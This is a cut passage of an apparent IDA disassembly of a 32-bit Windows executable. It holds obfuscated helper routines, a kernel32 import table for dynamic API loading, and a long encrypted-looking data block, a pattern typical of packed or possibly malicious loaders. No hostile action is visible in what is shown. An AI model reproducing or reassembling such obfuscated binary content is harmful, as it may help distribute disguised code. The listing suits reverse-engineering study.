[ebp+8] pop eax imul eax, [ebp+0Ch] push eax call sub_418560 pop ecx pop ebp retn ; --------------------------------------------------------------------------- aUtG_2 db 'UT]ƒ}',8,0 dw 0B75h dd 0E80C75FFh, 0FFFFFFBCh, 0FF15EB59h, 75FF0C75h, 0FF006A08h dd 3E301815h, 15FF5000h, 3E301Ch db 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp cmp dword ptr [ebp+8], 0 jnz short loc_4185C9 jmp short loc_4185DB ; --------------------------------------------------------------------------- loc_4185C9: ; CODE XREF: .data:004185C5j push dword ptr [ebp+8] push 0 call dword_3E3018 push eax call dword_3E3020 loc_4185DB: ; CODE XREF: .data:004185C7j pop ebp retn ; --------------------------------------------------------------------------- db 55h, 54h, 5Dh dd 0E80875FFh, 0FFFFFF78h, 55C35D59h, 75FF5D54h, 0FFC8E808h dd 5D59FFFFh, 0CCCCCCC3h, 0CCCCCCCCh, 5D5D5455h, 5D5455C3h dd 8458A51h, 0C6FC4588h, 0C900FD45h db 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h push 0Ah lea eax, [ebp-20h] push eax push dword ptr [ebp+8] call sub_4188F7 add esp, 0Ch leave retn ; --------------------------------------------------------------------------- db 55h dd 0EC835D54h, 8D0A6A20h, 0FF50E045h, 0C9E80875h, 83000001h dd 0C3C90CC4h, 0CCCCCCCCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push dword ptr [ebp+8] pop eax mov [ebp-4], eax loc_41865B: ; CODE XREF: .data:00418695j cmp dword ptr [ebp+10h], 0 jz short loc_418697 mov eax, [ebp+8] mov ecx, [ebp+0Ch] mov cl, [ecx] mov [eax], cl push dword ptr [ebp+8] pop eax movsx eax, byte ptr [eax] push eax push dword ptr [ebp+8] pop eax mov ecx, eax pop eax inc ecx mov [ebp+8], ecx push eax push dword ptr [ebp+0Ch] pop eax mov ecx, eax pop eax inc ecx mov [ebp+0Ch], ecx test eax, eax jz short loc_418697 mov eax, [ebp+10h] dec eax mov [ebp+10h], eax jmp short loc_41865B ; --------------------------------------------------------------------------- loc_418697: ; CODE XREF: .data:0041865Fj ; .data:0041868Cj cmp dword ptr [ebp+10h], 0 jz short loc_4186B5 loc_41869D: ; CODE XREF: .data:004186B3j mov eax, [ebp+10h] dec eax mov [ebp+10h], eax jz short loc_4186B5 mov eax, [ebp+8] mov byte ptr [eax], 0 mov eax, [ebp+8] inc eax mov [ebp+8], eax jmp short loc_41869D ; --------------------------------------------------------------------------- loc_4186B5: ; CODE XREF: .data:0041869Bj ; .data:004186A4j mov eax, [ebp-4] leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4186BA proc near ; CODE XREF: .data:00417FE1p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_0] pop eax mov [ebp+var_4], eax loc_4186C5: ; CODE XREF: sub_4186BA+39j mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] dec ecx mov [ebp+arg_8], ecx test eax, eax jz short loc_4186F5 push [ebp+arg_0] pop eax push eax push [ebp+arg_4] pop eax mov ecx, eax pop eax mov cl, [ecx] mov [eax], cl push [ebp+arg_0] pop eax inc eax mov [ebp+arg_0], eax push [ebp+arg_4] pop eax inc eax mov [ebp+arg_4], eax jmp short loc_4186C5 ; --------------------------------------------------------------------------- loc_4186F5: ; CODE XREF: sub_4186BA+17j mov eax, [ebp+var_4] leave retn sub_4186BA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+8] mov [ebp-4], eax loc_418704: ; CODE XREF: .data:00418723j mov eax, [ebp+10h] push dword ptr [ebp+10h] pop ecx dec ecx mov [ebp+10h], ecx test eax, eax jz short loc_418725 push dword ptr [ebp+8] pop eax mov cl, [ebp+0Ch] mov [eax], cl mov eax, [ebp+8] inc eax mov [ebp+8], eax jmp short loc_418704 ; --------------------------------------------------------------------------- loc_418725: ; CODE XREF: .data:00418711j mov eax, [ebp-4] leave retn ; --------------------------------------------------------------------------- dw 5455h dd 6583515Dh, 75FF00FCh, 0B60F5808h, 0C4D8B00h, 2B09B60Fh dd 0FC4589C1h, 458B1A75h, 0BE0F0Ch, 1074C085h, 4008458Bh dd 8B084589h, 89400C45h, 0D2EB0C45h, 0FC7D83h, 4D83067Dh dd 11EBFFFCh, 0FC7D83h, 45C70B7Eh, 0FCh, 0FC458300h, 0FC75FF01h dd 55C3C958h, 8B515D54h, 45890845h, 0FC75FFFCh, 0BE0F58h dd 59FC75FFh, 0FC4D8941h, 274C085h, 75FFEBEBh, 452B58FCh dd 0C3C94808h, 835D5455h, 458B10ECh, 0B60F08h, 0FFF44589h dd 4DE8F475h, 59FFFFFDh, 8BFC4589h, 89400845h, 75FF0845h dd 0B60F580Ch, 0F0458900h, 0E8F075FFh, 0FFFFFD30h, 0F8458959h dd 580C75FFh, 0C458940h, 0FC7D83h, 75FF0974h, 453B58FCh dd 0FFB774F8h, 2B58FC75h, 0C3C9F845h, 3 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41882C add esp, 10h push dword ptr [ebp+0Ch] pop eax pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41882C proc near ; CODE XREF: .data:0041881Ep ; sub_4188F7+1Ap ... var_10 = dword ptr -10h var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+arg_C], 0 jz short loc_418859 push [ebp+var_4] pop eax mov byte ptr [eax], 27h add byte ptr [eax], 6 push [ebp+var_4] pop eax inc eax mov [ebp+var_4], eax push [ebp+arg_0] pop eax neg eax mov [ebp+arg_0], eax loc_418859: ; CODE XREF: sub_41882C+10j push [ebp+var_4] pop eax mov [ebp+var_10], eax loc_418860: ; CODE XREF: sub_41882C+82j push [ebp+arg_0] pop eax xor edx, edx div [ebp+arg_8] mov [ebp+var_8], edx push [ebp+arg_0] pop eax xor edx, edx div [ebp+arg_8] mov [ebp+arg_0], eax cmp [ebp+var_8], 9 jbe short loc_418897 mov eax, [ebp+var_8] add eax, 57h push eax push [ebp+var_4] pop eax mov ecx, eax pop eax mov [ecx], al mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_4188AA ; --------------------------------------------------------------------------- loc_418897: ; CODE XREF: sub_41882C+50j push [ebp+var_8] pop eax add eax, 30h mov ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4188AA: ; CODE XREF: sub_41882C+69j cmp [ebp+arg_0], 0 ja short loc_418860 push [ebp+var_4] pop eax mov byte ptr [eax], 0 mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax loc_4188BE: ; CODE XREF: sub_41882C+C7j push [ebp+var_4] pop eax mov al, [eax] mov [ebp+var_9], al push [ebp+var_4] pop eax push [ebp+var_10] pop ecx mov cl, [ecx] mov [eax], cl push [ebp+var_10] pop eax mov cl, [ebp+var_9] mov [eax], cl push [ebp+var_4] pop eax dec eax mov [ebp+var_4], eax push [ebp+var_10] pop eax inc eax mov [ebp+var_10], eax push [ebp+var_10] pop eax cmp eax, [ebp+var_4] jb short loc_4188BE leave retn sub_41882C endp ; =============== S U B R O U T I N E ======================================= sub_4188F7 proc near ; CODE XREF: .data:00418629p push ebp push esp pop ebp cmp dword ptr [ebp+10h], 0Ah jnz short loc_41891B cmp dword ptr [ebp+8], 0 jge short loc_41891B push 1 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41882C add esp, 10h jmp short loc_41892E ; --------------------------------------------------------------------------- loc_41891B: ; CODE XREF: sub_4188F7+7j ; sub_4188F7+Dj push 0 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41882C add esp, 10h loc_41892E: ; CODE XREF: sub_4188F7+22j mov eax, [ebp+0Ch] pop ebp retn sub_4188F7 endp ; --------------------------------------------------------------------------- align 4 dd 5Bh dup(0) dd 30D0h, 30E2h, 30F2h, 3106h, 3116h, 3126h, 3132h, 3144h dd 3152h, 3 dup(0) aKernel32_dll_9 db 'kernel32.dll',0 align 10h aGetmodulefil_3 db 'GetModuleFileNameA',0 align 4 aGetmodulefil_4 db 'GetModuleFileNameW',0 align 10h aKernel32_dl_10 db 'kernel32.dll',0 align 10h aI0_1 db '¨0',0 align 4 dd 2 dup(0) dd 315Eh, 3000h, 5 dup(0) dd 30D0h, 30E2h, 30F2h, 3106h, 3116h, 3126h, 3132h, 3144h dd 3152h, 0 dd 654701A0h, 6F725074h, 64644163h, 73736572h, 2520000h dd 64616F4Ch, 7262694Ch, 41797261h, 17F0000h, 4D746547h dd 6C75646Fh, 6E614865h, 41656C64h, 1C80000h, 53746547h dd 65747379h, 6D69546Dh, 1DF0065h, 54746547h, 436B6369h dd 746E756Fh, 2100000h, 70616548h, 6F6C6C41h, 1A30063h dd 50746547h, 65636F72h, 65487373h, 7061h, 6548021Ah, 65527061h dd 6F6C6C41h, 2160063h, 70616548h, 65657246h, 454B0000h dd 4C454E52h, 642E3233h, 6C6Ch, 25h dup(0) dd 19E8EC45h, 0F5E839F8h, 0E142CAEh, 95D9C1DCh, 0A61796E1h dd 2DA4BE1Dh, 0C4970908h, 113E410Fh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0FE2FF0D2h dd 11BEB6C3h, 5BF74E57h, 2ECF1CE2h, 0FA3F4293h, 0E670974h dd 0ACB2A9A7h, 242B9C85h, 835C3D79h, 0E4B72E13h, 850520A0h dd 87FD41Bh, 552F2683h, 90D3A811h, 17E60025h, 7B434EECh dd 290939F1h, 2C2EE254h, 66E5FBFDh, 1D705DFAh, 4EAF3824h dd 16474E13h, 646F8472h, 13830684h, 84E4F3C5h, 8CE2E682h dd 0F373D37h, 2F79FD1Ah, 0B15A883Eh, 944639Eh, 0EA1EFFBAh dd 0E013EC5Ch, 916D4296h, 100FFF0Ch, 0DAD29296h, 9D7271EEh dd 0B1B808A1h, 0D25BB546h, 5EC1D704h, 4BA6CF03h, 0C1586BDEh dd 0D9AA447Bh, 0D7057198h, 450772F1h, 0F1936Eh, 0FE0F683Fh dd 4CD9F013h, 5A80E40h, 8025E291h, 759D1F1Dh, 322730A2h dd 0C7ED2FC0h, 0F8AF7591h, 59C1768h, 0F8AF7591h, 59C1768h dd 2828DF75h, 9FADBF9Bh, 5B4A327Eh, 0BA307617h, 0B8BA1055h dd 0BCDBABA0h, 0B8BA1055h, 0BCDBABA0h, 0CD7DBA1Ch, 8D8A7D69h dd 0DAD29296h, 9D7271EEh, 345679BAh, 0E6F4023Dh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0C08E8E97h dd 0AA99235Ch, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0E1B2375Bh, 35E1F4A2h, 0C07238F3h dd 0CF13E576h, 37E6A19Ah, 0BDA4F165h, 0DAD29296h, 9D7271EEh dd 11B7D888h, 0B95943E0h, 0BF797EC1h, 3EEE3649h, 0A16C8997h dd 0A538B121h, 0B393FFA5h, 0EC46445Fh, 0DAD29296h, 9D7271EEh dd 0EB44854Fh, 6E303F4Bh, 2D59AB02h, 64E06AC7h, 249E63CBh dd 0CAD5D139h, 18A76DDBh, 35FBF5D4h, 0DAD29296h, 9D7271EEh dd 0FD1C9112h, 7CA2041h, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 8AED8AA0h, 7A41C62Fh, 0E82E5ADDh, 0DDA302F9h dd 3BF34B59h, 558BC9D0h, 0AF02EBE8h, 6557D382h, 0D1F0F1CEh dd 0E631E5BEh, 48CB8ABCh, 0D3429667h, 2B676190h, 0A87D4507h dd 833FF5E5h, 0B0237E39h, 0C8816AF1h, 0BEA46959h, 304E14D2h dd 78EDBB75h, 4015B85Fh, 0AF1D43B0h, 6E90CB42h, 3E65688Eh dd 0AB0AE369h, 978E3BD9h, 448240BCh, 0D1AED775h, 4300527Bh dd 0E52D89D5h, 0E60C39C4h, 7466E106h, 1A2C64Ah, 28AFBB23h dd 0DEC0B0DEh, 48655298h, 1DC675C3h, 7674C4C5h, 0A4818068h dd 51051F16h, 0B4B828D7h, 0F6FF8388h, 7302A401h, 12EB5A97h dd 6D13B0E3h, 0BDF482Dh, 370AFC9Ch, 0A9FC6981h, 0B22CC854h dd 0E81B88ACh, 920223B2h, 0D79934C9h, 6EDB1F4Ah, 99DCEE65h dd 766CCCBEh, 0D01187CCh, 3A36C2CFh, 0C6855734h, 7E6BC378h dd 9926483h, 0FE381DCEh, 0E9915D89h, 241E62AFh, 0AE695EA4h dd 0D4C89E68h, 1D6A313Bh, 6EB8C3D3h, 4D5CCEA7h, 1FB5525Bh dd 77577670h, 8F800177h, 0C7E49587h, 0BAF1CAFAh, 0E4B9000Dh dd 0E1B95FB5h, 0B73394CFh, 8770CE08h, 4378A31Fh, 24000A78h dd 29C4A3D8h, 0DEB215CEh, 14E7CC53h, 4297CD38h, 0D2AF8200h dd 68C28D77h, 6816D00Eh, 0D05B0AB7h, 11C4C744h, 19508991h dd 722503D6h, 0DAB8EB12h, 0A3E2C889h, 0F8F51C51h, 918901D8h dd 9F37DA9Bh, 39F948D3h, 219D688Ah, 87704FDAh, 818CE830h dd 54ADF668h, 55281C7Ah, 3C66AF04h, 6C9394D3h, 58955D29h dd 48706B04h, 0DAA4E283h, 3C7E1FECh, 0C977DDB6h, 7E36D21h dd 0DDE4590Bh, 89FF7D0h, 57A1959Fh, 92E2F9F2h, 57D72EB6h dd 84C73C9Fh, 5A720278h, 6C27A21Dh, 5734E274h, 8DA5CC7Ch dd 0CAC96F7Bh, 519C0812h, 0EE15F23h, 5BE5E476h, 6E0F64E0h dd 453F9EB3h, 594EF213h, 0CF5BA170h, 0CF2CA859h, 0F4129829h dd 6BD3F015h, 0E71FAA41h, 778C43CAh, 765A9997h, 881408F3h dd 40A71C22h, 26DCFD6Ah, 32BAC76Fh, 0C8E8A9C8h, 7D35B0CFh dd 51D8010Eh, 79752E4Fh, 3ECEB494h, 0CD5A6DBBh, 0CC4FA324h dd 0D7228046h, 0E51B6C98h, 8DE9BE6Ah, 0FAAF8DA3h, 0EFB1D0ABh dd 0E0184264h, 915E6D7Fh, 0BA9765AEh, 7D3BB654h, 0C09665Ch dd 0F3897D13h, 0CFDB0EFCh, 3B3A604h, 8143C9C6h, 0F72A28E9h dd 0CBC62EA0h, 0A5F2D908h, 0B5BC322Dh, 5F4BD9FCh, 35E23951h dd 85A109h, 0D94EC4F5h, 0EFB1D0ABh, 0E0184264h, 221CBC8Eh dd 3C7B382Dh, 92402329h, 83048B1Dh, 152D787h, 3E3B0C95h dd 0D6E953D9h, 0E54B23D0h, 3A36C2CFh, 0C6855734h, 640CAFE5h dd 0AE8010D9h, 6C96D33Eh, 0F1E82889h, 0E0E4D46Ah, 8262C983h dd 360F9F70h, 0D73B5444h, 9D4564E6h, 263EDF16h, 0F58F38E2h dd 0D00F1E54h, 6C30097Fh, 0D4746228h, 732837EEh, 0B1F2ABBAh dd 68B4B6B6h, 4162853Dh, 23850F3Fh, 648381AFh, 43C08389h dd 6414549h, 5D1BA5ACh, 3997362Ch, 891FE46h, 9798D7D8h dd 72D4E3Dh, 1C4E1240h, 0ACE9DF4Ch, 5DC19FBEh, 31EB51F1h dd 939BCDB0h, 0D1C5407Bh, 8F9F3074h, 7F47F20Eh, 2F74F1FBh dd 7CF78CE2h, 16A972F2h, 0C7D7DB93h, 0B7ECE5F6h, 976EC4EBh dd 9F31DB17h, 7DDD588Dh, 0A1905E2Dh, 0B2369409h, 0AFC3D5B7h dd 61C822D7h, 0F7B856E9h, 0FFE61E1Fh, 7BE8BA12h, 0FE89F35Fh dd 4E1491FFh, 9E472BDEh, 0FFDE1017h, 0D7D72DF3h, 9F9EAC9Dh dd 8C22433Ch, 7FB319CEh, 7C2AE71Bh, 2BBD905Fh, 34FA3067h dd 95AA0CB4h, 0A8B27F48h, 14B99D9Dh, 30F9B1ECh, 0F3BC4B5Eh dd 70FD9F64h, 5A19A72Bh, 949742D2h, 0C387B35Eh, 0DE920352h dd 65F16F0Eh, 768DC030h, 0FE991D73h, 709FA0A0h, 0CB71A7BAh dd 4D6AF9h, 605F1842h dd 5C262E22h, 0D773AF5Ch, 1FB776FDh, 34E26346h, 5B4A7648h dd 25638936h, 3F0592CBh, 0C91DC3A3h, 38FF8E3Fh, 626D0DF4h dd 4EE1788Ch, 3DF2934Ah, 0D1FE46F0h, 1F34E882h, 0C512A0EAh dd 6C97E787h, 7314224Fh, 0EA0C826h, 0D44B435Eh, 2B6F531Eh dd 0B47058ECh, 8AD39601h, 0B10B3244h, 61E5CB21h, 25359DC6h dd 0E12CFF66h, 188F37ECh, 0C562D0D3h, 0D39B0325h, 5AE13D32h dd 0FD4D143Fh, 3E61F971h, 0D92B39CCh, 703151CCh, 0BEFA2446h dd 0FD7E38CAh, 341D83EEh, 663F0DB7h, 92B3C909h, 8CE971CEh dd 9E4B0467h, 97D92CD4h, 0E9407C34h, 197DFB27h, 67137260h dd 28FCC23Ah, 8528E3E0h, 1261929Bh, 0A4415EBDh, 0D8626231h dd 782AC3Ah, 3498CCE9h, 90F2CE0Ah, 905DEFEAh, 1CACDD23h dd 0CC168F95h, 4C96A07Bh, 397339FAh, 0FC864AE1h, 0C91A896Ah dd 7B0B49A2h, 10A9E1B8h, 0B2DBBFEDh, 0E27DD0C2h, 437450ACh dd 0D81EAC68h, 8C4600ACh, 0A3CB410Ch, 0D8555952h, 696C25C1h dd 0E787E895h, 3B5EC725h, 7F4955EAh, 74A24E33h, 0CC38EC96h dd 96D32E0Ah, 0B1A673B4h, 2EEC1793h, 0B41140E0h, 5CDA2D1Ah dd 4C6E2C63h, 0A18B39DFh, 30AB515Eh, 77C301Ch, 2EB3247Ah dd 887F54F5h, 62A5A614h, 0D33DB32Fh, 0A3803408h, 0B0386F5Ah dd 2CEBC31Ch, 40AE6291h, 64AC4E3Fh, 0CC6CFD89h, 3030E348h dd 4C146D12h, 428F5715h, 412AC741h, 738F1070h, 63CD1947h dd 342820DCh, 0E0DC99ABh, 33B7567h, 0AC7B6308h, 52282220h dd 0ED141E27h, 5683F984h, 93E3651Ch, 7226F97Fh, 6CD75235h dd 764BBF8Ch, 40E41E9h, 0DADFC16Eh, 0C04A021Ch, 60583659h dd 6925E5FFh, 1CCA9DECh, 87A9DC1Ch, 82F9B081h, 4A18297Fh dd 2FBB56FDh, 0FA4C4F30h, 0C1B550h, 2E10A3E2h, 97963F20h dd 2156F406h, 2DF1CB5h, 489CBD92h, 70DD3B99h, 30965399h dd 1E377E97h, 0F178A6B6h, 1B8785E6h, 4C73D2D8h, 0D54C5C28h dd 18A9796Dh, 5C1E688Eh, 34FC8C8Eh, 0C3E5900Fh, 0B29E9C2Dh dd 40897E5Ah, 3C61F744h, 0D26A21DDh, 84C58D2Dh, 0E5364C80h dd 0FB59048h, 0EDF62E49h, 68499988h, 629D02Eh, 31E5CDE7h dd 0EA4F2B83h, 909910F5h, 51FDB10Bh, 0ED033BC0h, 7535D330h dd 3B05A13Bh, 0B2722BECh, 0E1402310h, 0A193BF35h, 2C5636B6h dd 39BD55DAh, 88256E66h, 5846C88Fh, 0DF78C405h, 0F9E34149h dd 56361388h, 0A86771C7h, 1F50580Ah, 9FBC6F75h, 0D749AB94h dd 3A527095h, 5424A8EFh, 309F315Eh, 67683829h, 6574D8F7h dd 20B0C604h, 1257D658h, 0A7565570h, 2EB2DDB3h, 0B5671696h dd 8E6F3E8Fh, 95168C32h, 0CC7B36FEh, 539D8726h, 4AB9F4C2h dd 86FC07Bh, 375B44F4h, 0AAC79FFEh, 4A7B789Ch, 0EF676183h dd 62AE6A3Fh, 6EC9481Eh, 7C894DC2h, 0C8B60E1Ah, 0DFF4361Dh dd 42641798h, 83FAD739h, 0FD6CFB4Bh, 0FBDE7289h, 4E6F287h dd 164A46CAh, 193AB4A7h, 4B083544h, 0AE9A3FBCh, 0C3D64116h dd 9C4464Ah, 42685B3Ah, 809AFE0Ah, 0CD94A142h, 0C8FDAC57h dd 4F3368EAh, 0E0DCF7Ah, 1516FE6Ch, 0D7BB582Bh, 329661F3h dd 61378979h, 684135A3h, 292C5948h, 0F1FEE76Fh, 0ED62FF22h dd 740DDA8Dh, 0C0D482C1h, 0B31A696Eh, 5CE7CC79h, 6DC43EB5h dd 9F963FBFh, 5D48A309h, 44DCC3BBh, 0B7F2B9E4h, 6055B991h dd 7F3B2Fh, 0FE87DC9Ah, 8A112AA2h, 2A3723D9h, 27F594BBh dd 5BB82555h, 0CB459590h, 0DC2C8491h, 2033937Dh, 7192DC06h dd 0BDB4D93Bh, 350D8A53h, 0FF36B0Bh, 2EE320D6h, 9CE88093h dd 528B14C9h, 6D4001BFh, 0FA48D348h, 0A0836268h, 163F88A2h dd 0DF6B7C03h, 9B5E87CCh, 4FBFA73Eh, 0E6FE2473h, 0BDC2A8ABh dd 26F75A0Dh, 0E8CA7972h, 38A4538Ah, 63B6F665h, 7E1FA1C1h dd 0DF133A5h, 36BCE97Eh, 0B3C298B9h, 0E7A9D9Fh, 0C4C702C0h dd 0CFFF309Fh, 0A278C531h, 55C032F0h, 8455A00Eh, 2D66014h dd 1A0752B4h, 54C470B9h, 696D2C6Eh, 0D0CEEA53h, 5E4BFB5Ch dd 0BA388AFAh, 967AAEFFh, 95033CCCh, 0C4A95857h, 4B5056E5h dd 6DA534CBh, 0F60DA063h, 880A3A0h, 727A4769h, 272F7FE3h dd 1AA416E9h, 0BDCA7798h, 2E10AE72h, 46448629h, 0FED7E8A8h dd 4963DDBBh, 1764163Bh, 0CD900A2h, 0D4C88444h, 0CBB766B5h dd 0FBE11CEh, 5FF82E63h, 8C7041h, 36B1E771h, 0D113BF26h dd 8A913FE9h, 0B9534F70h, 0E914B319h, 399AF212h, 0B8DEC8A5h dd 5F06D7F2h, 60630B5Fh, 0DA561959h, 67C5A0AFh, 890B4948h dd 3AA68A99h, 15BB50F2h, 711D41A1h, 40CA6A70h, 0EBD3AB41h dd 1133E59Bh, 62A25F42h, 33A7C98Eh, 0BB0E99E3h, 0D6005B5h dd 0C7EFE5EDh, 22FF52D0h, 5F1B111Fh, 0E28A1E28h, 6810EB78h dd 0DD21DD1Ch, 0EEDB84FFh, 0FDE586A1h, 37E92119h, 205FD269h dd 99ECDF91h, 816EC51Dh, 85FB0ED2h, 0B4B8B1ADh, 0EBE91717h dd 0D0E0EFC5h, 9EE60BFEh, 96F2889Ch, 67B6F764h, 0CDABD618h dd 346290C1h, 4B47967Dh, 0CC90A96Ah, 2B48B6DAh, 20F5CF90h dd 515E9BC3h, 0A33842CFh, 5CB28B51h, 0A5FBB8A4h, 0EC0CF0ABh dd 5FE67B3Bh, 0EA03287Bh, 0AC1D795h, 854ACA36h, 853EDBD7h dd 1B72A837h, 0EE669FF9h, 256E7922h, 0E502AB89h, 7C1559FEh dd 842FE45h, 55DF60FDh, 0E827619h, 1306D83Ah, 14F1844h dd 8D4777B5h, 0B48277CDh, 429E4F81h, 0FBEF3F64h, 0E469ADA9h dd 75BB7B64h, 0CFC4A0DBh, 6DF1BF64h, 0B7B2179Dh, 0A33F38F3h dd 38CB2F2Ch, 0CACB1F90h, 2F0C94DEh, 3837A2D8h, 25C7FF7Eh dd 306C16CEh, 8683FD1Fh, 1692C3ADh, 1E85CDE4h, 0A187AD96h dd 0DEB1A42Bh, 0CC1332E1h, 86FBFA3Bh, 1F29DD29h, 9E1EE1C6h dd 396A476h, 0B3EFF2CAh, 540F1E3Ch, 150D2A00h, 0D46C59C3h dd 0C571B5D2h, 20CBA90Ah, 5EDC42A7h, 0E18AEDD2h, 58136693h dd 8C22433Ch, 7FB319CEh, 7C2AE71Bh, 2BBD905Fh, 0B2880711h dd 0EABDAD91h, 5817814Ch, 669935EEh, 0C68DB6Ah, 55277BE1h dd 25FD1A26h, 0AC3FBF1Dh, 24147FBEh, 0BE8AD907h, 0B73A9322h dd 8EFDF936h, 0DE920352h, 65F16F0Eh, 0CCA0DF05h, 0DAA21D96h dd 709FA0A0h, 0CB71A7BAh, 4D6AF9h, 605F1842h, 27FF4202h dd 0EFCEC7B5h, 0A36355F5h, 0B1AD9FF9h, 6412A88Eh, 0F39C5B69h dd 0CE36E8E5h, 7D405389h, 0B603B8AAh, 1C1B44A4h, 0D5ECD81Eh dd 0F956DB6Eh, 471030h, 1E260936h, 8A45BE6Eh, 7F0ABD5h dd 0AAC8A502h, 354C1891h, 95570F44h, 0EEFF0F2Bh, 0C906F9C5h dd 0A31675D2h, 73D8FB39h, 0B004D10Eh, 172ED8FBh, 3912879h dd 0DAD7AB27h, 0ABA7E94Ch, 200926FAh, 0DC9506EFh, 0F205CF3Fh dd 486DA344h, 0D6333EF9h, 1066B239h, 8A4AEDCFh, 0DC17B2Fh dd 0FD4DCA23h, 60DFA200h, 0BB4ED2C6h, 8DBDEC31h, 52181F95h dd 0CEBF19DCh, 0DB66E9B0h, 0A3E6C63Fh, 0C31A7FB2h, 87006877h dd 5533FC3Eh, 0CEEACF56h, 4564FC1Eh, 0F8FA1A0Dh, 0C5A54918h dd 8481DCD0h, 0CE1677B6h, 4050A60Ah, 18CB566Ch, 4580AFF7h dd 48BEF57Eh, 7F0B48F6h, 38FF84BBh, 0F356C76Ah, 0F3671F67h dd 60C55C15h, 0EFB1D0ABh, 0E0184264h, 0FB31C508h, 804C37F2h dd 0A66AB25h, 102CCD2Ah, 95D4C06Dh, 0B86E5CBEh, 1C5F3C6Eh dd 0D9DF84B8h, 0E09AF912h, 10B2416Eh, 0F146653Dh, 7729F06Ah dd 0F78832B8h, 0BFE9DC5Ch, 0FE0F929Ch, 393D3282h, 6B60845Ch dd 8530C5C9h, 76938BFCh, 500DBBFCh, 42CF83C8h, 6E4FE226h dd 4C5527FCh, 0FEE50ACDh dd 0B9BC44FDh, 18E52530h, 0CDE2816Fh, 670269DDh, 81497BDAh dd 419DD926h, 0FD531F8h, 8039F0D1h, 96B3D157h, 2635604Eh dd 4BBEF57Bh, 715CD5h, 0E0C41816h, 9168983Ah, 62A484B7h dd 0C90270F3h, 0F0ACF620h, 0DEE7B789h, 3BFF59C7h, 35F28FEh dd 7267904Bh, 0DE84A564h, 63D4630h, 8BCD012Dh, 3946B7BCh dd 9A49083Ah, 42578ADBh, 2409F9B1h, 0FC768001h, 26C9F019h dd 0A1E84884h, 0A98D2A81h, 0ECBCE43Ch, 0A4F8B478h, 0EE320C82h dd 0F7507EFFh, 1942B7A6h, 0D4B8088Dh, 2F4D5832h, 550853B6h dd 0E1D2E375h, 3EA1337Dh, 0AD7E78F8h, 278ABA72h, 0E0356C10h dd 0D2280CF1h, 0C6C67664h, 0E15B5D8h, 15467856h, 47DBDB4h dd 0DC9F030Dh, 0BC5FE8B1h, 63761FAAh, 18034B03h, 